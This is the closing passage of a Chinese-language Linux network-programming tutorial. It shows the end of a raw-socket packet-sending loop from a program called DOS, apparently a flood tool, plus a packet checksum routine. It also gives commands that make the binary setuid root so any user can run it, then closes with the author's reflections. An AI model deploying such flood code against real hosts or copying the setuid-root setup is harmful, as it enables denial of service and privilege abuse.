                               sizeof(struct tcphdr));

        sendto(sockfd, buffer, head\_len, 0, addr, sizeof(struct sockaddr\_in));

    }

}

/\* 下面是首部校验和的算法,偷了别人的 \*/

/\*书上说，校验原理：所有16位字相加，然后对和取反，但是下面的代码，好像不止这些\*/

unsigned short check\_sum(unsigned short \*addr, int len)

{

    register int nleft = len;

    register int sum = 0;

    register short \*w = addr;

    short answer = 0;

    while (nleft > 1)

    {

        sum += \*w++;

        nleft -= 2;

    }

    if (nleft == 1)

    {

        \*(unsigned char \*)(&answer) = \*(unsigned char \*)w;

        sum += answer;

    }

    sum = (sum >> 16) + (sum & 0xffff);

    sum += (sum >> 16);

    answer = ~sum;

    return (answer);

}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位

[root@hoyt /root]#chown root DOS   
[root@hoyt /root]#chmod +s DOS

**11. 后记**  
总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.

如 果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.

看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.

不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!